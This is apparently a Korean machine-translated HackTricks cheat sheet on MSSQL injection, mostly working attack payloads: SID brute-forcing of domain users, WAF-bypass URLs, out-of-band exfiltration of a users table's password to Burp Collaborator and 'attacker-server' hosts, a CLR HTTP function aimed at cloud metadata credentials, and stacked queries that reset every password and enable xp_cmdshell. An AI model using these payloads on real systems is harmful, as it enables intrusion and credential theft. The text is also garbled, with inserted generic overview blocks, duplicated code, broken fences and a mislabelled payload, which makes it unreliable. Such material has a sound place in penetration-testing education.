MSSQL Injection

MSSQL 인젝션

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

Active Directory 열거

다음 MSSQL 함수를 사용하여 MSSQL 서버 내에서 SQL 인젝션을 통해 도메인 사용자를 열거할 수 있습니다:

  • SELECT DEFAULT_DOMAIN(): 현재 도메인 이름을 가져옵니다.

  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): 도메인 이름을 알고 있다면 (이 예제에서는 DOMAIN) 이 함수는 사용자 Administrator의 SID를 16진수 형식으로 반환합니다. 이는 0x01050000000[...]0000f401와 같이 보일 것입니다. 마지막 4바이트big endian 형식으로 500이라는 숫자입니다. 이는 사용자 administrator의 일반적인 ID입니다. 이 함수를 사용하면 도메인의 ID를 알 수 있습니다 (마지막 4바이트를 제외한 모든 바이트).

  • SUSER_SNAME(0x01050000000[...]0000e803) : 이 함수는 지정된 ID의 사용자 이름을 반환합니다. 이 경우에는 0000e803이며 big endian == 1000입니다 (일반적으로 이는 처음으로 생성된 일반 사용자 ID입니다). 그런 다음 1000에서 2000까지 사용자 ID를 브루트 포스팅하고 도메인 사용자의 모든 사용자 이름을 얻을 수 있습니다. 예를 들어 다음과 같은 함수를 사용할 수 있습니다:

def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

대체 오류 기반 벡터

오류 기반 SQL 인젝션은 일반적으로 +AND+1=@@version--와 같은 구조를 가지며, «OR» 연산자를 기반으로 한 변형도 포함됩니다. 이러한 표현을 포함하는 쿼리는 일반적으로 WAF에 의해 차단됩니다. 우리가 찾고자 하는 데이터에 대한 데이터 유형 변환 오류를 유발하는 특정 함수 호출의 결과를 %2b 문자를 사용하여 문자열과 연결하여 우회합니다.

이러한 함수의 몇 가지 예시:

  • SUSER_NAME()

  • USER_NAME()

  • PERMISSIONS()

  • DB_NAME()

  • FILE_NAME()

  • TYPE_NAME()

  • COL_NAME()

함수 USER_NAME()의 예시 사용:

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

이 SSRF 트릭들은 여기에서 가져왔습니다.

fn_xe_file_target_read_file

서버에서 VIEW SERVER STATE 권한이 필요합니다.

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

CONTROL SERVER 권한이 필요합니다.

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettabe

CONTROL SERVER 권한이 필요합니다.

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

xp_dirtree와 같은 저장 프로시저는 Microsoft에서 공식적으로 문서화되지 않았지만, MSSQL 내에서 네트워크 작업에 유용하다는 이유로 다른 사람들에 의해 설명되었습니다. 이러한 프로시저들은 종종 Out of Band Data 유출에 사용되며, 다양한 예제포스트에서 이를 보여줍니다.

예를 들어, xp_dirtree 저장 프로시저는 네트워크 요청을 수행하지만 TCP 포트 445에만 제한됩니다. 포트 번호는 수정할 수 없지만, 네트워크 공유에서 읽을 수 있습니다. 아래의 SQL 스크립트에서 사용법이 설명되어 있습니다:

DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');

이 방법은 모든 시스템 구성에서 작동하지 않을 수 있습니다. 예를 들어, 기본 설정으로 실행 중인 Windows Server 2016 Datacenter에서 실행되는 Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)에서는 작동하지 않을 수 있습니다.

또한, master..xp_fileexistxp_subdirs와 같은 대체 저장 프로시저를 사용하여 비슷한 결과를 얻을 수 있습니다. xp_fileexist에 대한 자세한 내용은 TechNet 기사에서 확인할 수 있습니다.

xp_cmdshell

물론 **xp_cmdshell**을 사용하여 SSRF를 유발하는 것을 실행할 수도 있습니다. 자세한 내용은 다음 페이지에서 관련 섹션을 읽어보세요:

page1433 - Pentesting MSSQL - Microsoft SQL Server

MSSQL 사용자 정의 함수 - SQLHttp

MSSQL에서 사용자 정의 함수(CLR UDF - Common Language Runtime User Defined Function)를 생성하는 것은 .NET 언어로 작성된 코드를 DLL로 컴파일하여 MSSQL에서 로드하여 사용자 정의 함수를 실행하는 프로세스입니다. 이는 일반적으로 sa로 데이터베이스 연결이 이루어지거나 관리자 역할로 연결되었을 때에만 가능합니다.

MSSQL에 이진 파일을 CLR 어셈블리로 로드하기 위한 Visual Studio 프로젝트와 설치 지침은 이 Github 저장소에서 제공됩니다. 이를 통해 MSSQL 내에서 HTTP GET 요청을 실행할 수 있도록 합니다.

이 기능의 핵심은 http.cs 파일에 캡슐화되어 있으며, 아래와 같이 WebClient 클래스를 사용하여 GET 요청을 실행하고 내용을 검색합니다:

using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}

CREATE ASSEMBLY SQL 명령을 실행하기 전에, 서버의 신뢰할 수 있는 어셈블리 목록에 어셈블리의 SHA512 해시를 추가하기 위해 다음 SQL 코드 조각을 실행하는 것이 좋습니다 ( select * from sys.trusted_assemblies;를 통해 확인 가능):

EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

어셈블리를 성공적으로 추가하고 함수를 생성한 후, 다음 SQL 코드를 사용하여 HTTP 요청을 수행할 수 있습니다:

DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

빠른 공격: 단일 쿼리에서 전체 테이블 내용 검색

여기에서 가져온 트릭.

단일 쿼리에서 테이블의 전체 내용을 추출하는 간결한 방법은 FOR JSON 절을 활용하는 것입니다. 이 접근 방식은 "raw"와 같은 특정 모드를 필요로 하는 FOR XML 절보다 간결합니다. FOR JSON 절은 간결성을 위해 선호됩니다.

현재 데이터베이스에서 스키마, 테이블 및 열을 검색하는 방법은 다음과 같습니다:

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:

```sql
## MSSQL Injection

### Union-Based SQL Injection

#### Basic Union-Based SQL Injection

To perform a basic union-based SQL injection attack on a MSSQL database, you can use the following payload:

?id=1' UNION ALL SELECT NULL,NULL,NULL-- -


This payload appends a union statement to the original SQL query, allowing you to retrieve data from other tables.

#### Retrieving Database Information

To retrieve information about the database, such as the version or the current user, you can use the following payload:

?id=1' UNION ALL SELECT NULL,@@version,NULL-- -


This payload uses the `@@version` function to retrieve the MSSQL server version.

#### Enumerating Tables and Columns

To enumerate the tables and columns in the database, you can use the following payload:

?id=1' UNION ALL SELECT NULL,table_name,NULL FROM information_schema.tables-- -


This payload retrieves the names of all the tables in the database.

To retrieve the columns of a specific table, you can use the following payload:

?id=1' UNION ALL SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='your_table_name'-- -


Replace `'your_table_name'` with the name of the table you want to retrieve the columns from.

#### Extracting Data

To extract data from a specific table and column, you can use the following payload:

?id=1' UNION ALL SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='your_table_name'-- -


Replace `'your_table_name'` with the name of the table you want to extract data from.

### Error-Based SQL Injection

#### Extracting Data

To extract data using error-based SQL injection, you can use the following payload:

?id=1' AND (SELECT COUNT(*) FROM sysobjects)>0-- -


If the query returns an error, it means that the condition is true. You can then modify the payload to extract the desired data.

### Time-Based Blind SQL Injection

#### Extracting Data

To extract data using time-based blind SQL injection, you can use the following payload:

?id=1' AND (SELECT * FROM sys.sysmessages WHERE message_id=1 AND 1=(SELECT COUNT(*) FROM sys.sysmessages AS sys1, sys.sysmessages AS sys2, sys.sysmessages AS sys3, sys.sysmessages AS sys4))-- -


If the query takes a longer time to execute, it means that the condition is true. You can then modify the payload to extract the desired data.

Retrieving the Current Query

Trick from here.

For users granted the VIEW SERVER STATE permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:

## MSSQL Injection

### Union-Based SQL Injection

The Union-Based SQL Injection technique allows an attacker to retrieve sensitive information from a vulnerable MSSQL database. By exploiting this vulnerability, an attacker can manipulate the SQL query to retrieve data that they are not authorized to access.

#### Exploiting the Vulnerability

To exploit the vulnerability, the attacker can modify the SQL query by injecting a UNION SELECT statement. This statement allows the attacker to combine the result of their injected query with the original query, effectively retrieving additional data.

For example, consider the following vulnerable URL:

https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null


In this case, the attacker is injecting a UNION SELECT statement to retrieve the text of the SQL query being executed by the server. The injected query retrieves the text using the `sys.dm_exec_requests` and `sys.dm_exec_sql_text` functions.

#### Protection and Prevention

To protect against Union-Based SQL Injection attacks, it is important to implement proper input validation and parameterized queries. Input validation ensures that user-supplied data is properly sanitized and validated before being used in SQL queries. Parameterized queries, on the other hand, separate the SQL code from the user-supplied data, preventing the injection of malicious code.

Additionally, keeping the MSSQL server and its components up to date with the latest security patches can help mitigate the risk of SQL Injection vulnerabilities. Regular security audits and penetration testing can also help identify and address any potential vulnerabilities in the system.

To check if you have the VIEW SERVER STATE permission, the following query can be used:

```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
fn_my_permissions(NULL, 'SERVER') 함수에서 'VIEW SERVER STATE' 권한을 가진 권한을 가진 사용자의 모든 정보를 선택합니다.

## **Little tricks for WAF bypasses**

[Tricks also from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)

Non-standard whitespace characters: %C2%85 или %C2%A0:

MSSQL Injection

개요

MSSQL Injection은 웹 응용 프로그램에서 발생하는 SQL 삽입 공격의 한 형태입니다. 이 공격은 악의적인 사용자가 웹 응용 프로그램의 취약점을 이용하여 데이터베이스에 액세스하고 조작하는 것을 가능하게 합니다. 이 문서에서는 MSSQL Injection의 기본 개념과 공격 기술에 대해 설명합니다.

UNION 기반 MSSQL Injection

UNION 기반 MSSQL Injection은 UNION 연산자를 이용하여 SQL 삽입을 수행하는 기술입니다. UNION 연산자는 두 개의 SELECT 문의 결과를 결합하는 데 사용됩니다. 이를 이용하여 악의적인 사용자는 UNION 연산자를 이용하여 원하는 데이터를 추출할 수 있습니다.

UNION 기반 MSSQL Injection 예제

다음은 UNION 기반 MSSQL Injection의 예제입니다.

https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--

위의 예제에서는 id 매개변수에 UNION 기반 MSSQL Injection을 시도하고 있습니다. @@version 함수를 사용하여 MSSQL 서버의 버전 정보를 추출하고 있습니다.

참고 자료


Scientific (0e) and hex (0x) notation for obfuscating UNION:

MSSQL Injection

MSSQL Injection은 웹 응용 프로그램에서 발생하는 보안 취약점 중 하나입니다. 이 취약점은 MSSQL 데이터베이스에 대한 공격을 통해 악의적인 사용자가 데이터를 노출하거나 조작할 수 있는 기회를 제공합니다.

Union-Based MSSQL Injection

Union-Based MSSQL Injection은 UNION 연산자를 이용하여 취약점을 악용하는 기법입니다. UNION 연산자는 두 개의 SELECT 문의 결과를 결합하는 역할을 합니다. 이를 이용하여 쿼리 결과를 조작하고, 데이터베이스의 정보를 추출할 수 있습니다.

UNION SELECT 문법

SELECT column1, column2, ... FROM table1 UNION SELECT column1, column2, ...

예제

다음은 UNION SELECT 문법을 이용한 MSSQL Injection의 예제입니다.

https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

https://vuln.app/getItem?id=0xunion+select+null,@@version,null--

위의 예제에서 @@version은 MSSQL 서버의 버전 정보를 반환하는 함수입니다. UNION SELECT 문을 이용하여 null 값을 반환하고, @@version 함수를 통해 MSSQL 서버의 버전 정보를 노출시킬 수 있습니다.


A period instead of a whitespace between FROM and a column name:

MSSQL Injection

개요

MSSQL Injection은 웹 응용 프로그램에서 발생하는 보안 취약점으로, 악의적인 사용자가 데이터베이스에 대한 비인가된 액세스를 획득할 수 있게 해줍니다. 이러한 취약점은 주로 SQL 쿼리의 입력 검증이 부족한 경우에 발생합니다.

UNION 기반의 MSSQL Injection

UNION 기반의 MSSQL Injection은 UNION 연산자를 사용하여 SQL 쿼리의 결과를 조작하는 기법입니다. 이를 통해 악의적인 사용자는 데이터베이스에서 민감한 정보를 추출하거나 조작할 수 있습니다.

UNION 쿼리의 구조

UNION 쿼리는 두 개 이상의 SELECT 문을 결합하여 하나의 결과 집합으로 반환하는 쿼리입니다. 각 SELECT 문은 동일한 열 수와 유사한 데이터 유형을 가져야 합니다.

SELECT column1, column2, ... FROM table1
UNION
SELECT column1, column2, ... FROM table2

UNION 기반의 MSSQL Injection 예제

다음은 UNION 기반의 MSSQL Injection의 예제입니다.

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

위의 예제에서는 id 매개변수에 UNION 연산자를 사용하여 SQL 쿼리를 조작합니다. null 값은 필요한 열 수와 유사한 데이터 유형을 유지하기 위해 사용됩니다. @@version은 MSSQL 서버의 버전 정보를 반환하는 내장 함수입니다.

방어 및 예방

MSSQL Injection을 방지하기 위해 다음과 같은 조치를 취할 수 있습니다.

  • 입력 유효성 검사: 사용자 입력을 검증하여 악의적인 SQL 코드를 필터링합니다.

  • 매개변수화된 쿼리: 매개변수화된 쿼리를 사용하여 사용자 입력을 안전하게 처리합니다.

  • 최소 권한 원칙: 데이터베이스 사용자에게 최소한의 권한만 부여하여 공격의 영향을 최소화합니다.

  • 보안 패치 및 업데이트: MSSQL 서버를 최신 상태로 유지하여 알려진 취약점을 해결합니다.

결론

MSSQL Injection은 웹 응용 프로그램에서 심각한 보안 취약점으로 간주됩니다. 개발자와 보안 전문가는 이러한 취약점을 이해하고 방어하는 데 주의를 기울여야 합니다.


\N separator between SELECT and a throwaway column:

MSSQL Injection

개요

MSSQL Injection은 웹 응용 프로그램에서 발생하는 보안 취약점으로, 악의적인 사용자가 데이터베이스에 액세스하고 조작할 수 있는 공격을 의미합니다. 이러한 취약점은 주로 사용자 입력을 적절하게 검증하지 않거나 이스케이프하지 않을 때 발생합니다.

UNION-Based MSSQL Injection

UNION-Based MSSQL Injection은 UNION 연산자를 사용하여 SQL 쿼리의 결과를 조작하는 공격입니다. 이를 통해 데이터베이스의 정보를 노출시키거나 데이터를 조작할 수 있습니다.

UNION-Based MSSQL Injection 예제

다음은 UNION-Based MSSQL Injection의 예제입니다.

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--

위의 예제에서는 id 매개변수에 UNION 연산자를 삽입하여 SQL 쿼리를 조작합니다. @@version 함수를 사용하여 MSSQL 서버의 버전 정보를 노출시키는 것이 목표입니다.

참고

  • UNION-Based MSSQL Injection은 데이터베이스에 액세스하고 조작하는 공격입니다.

  • 주의해야 할 점은 사용자 입력을 적절하게 검증하고 이스케이프해야 한다는 것입니다.


### WAF Bypass with unorthodox stacked queries

According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":

```sql
```sql
SELECT 'a' SELECT 'b'
SELECT 'a' SELECT 'b'
SELECT 'a' SELECT 'b'

So for example, multiple queries such as:

```sql
```sql
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]

Can be reduced to:

```sql
다음은 MSSQL 삽입(SQL Injection)에 대한 내용입니다.

```sql
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]

위의 코드는 MSSQL 데이터베이스에서 삽입(SQL Injection)을 수행하는 예시입니다. 이 코드는 다음과 같은 작업을 수행합니다:

  1. tempdb 데이터베이스를 사용합니다.

  2. test라는 이름의 테이블을 생성합니다. 이 테이블은 id라는 정수형 열을 가지고 있습니다.

  3. test 테이블에 1이라는 값을 삽입합니다.

  4. test 테이블에서 id 값을 선택합니다.

  5. test 테이블을 삭제합니다.

이 코드는 MSSQL 데이터베이스에서 삽입(SQL Injection)을 수행하는 방법을 보여주기 위한 예시입니다.


Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:

끝에 쓸모없는 exec()를 추가하고 WAF가 이것이 유효한 쿼리가 아니라고 생각하게 만들기

admina'union select 1,'admin','testtest123'exec('select 1')--

이렇게 될 것입니다:

SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123' exec('select 1')--'

이상하게 구성된 쿼리 사용하기

admin'exec('update[users]set[password]=''a''')--

이렇게 될 것입니다:

SELECT id, username, password FROM users WHERE username = 'admin' exec('update[users]set[password]=''a''')--'

또는 xp_cmdshell 활성화하기

admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--

이렇게 될 것입니다:

select * from users where username = ' admin' exec('sp_configure''show advanced option'',''1''reconfigure') exec('sp_configure''xp_cmdshell'',''1''reconfigure')--'


## References

* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>

Last updated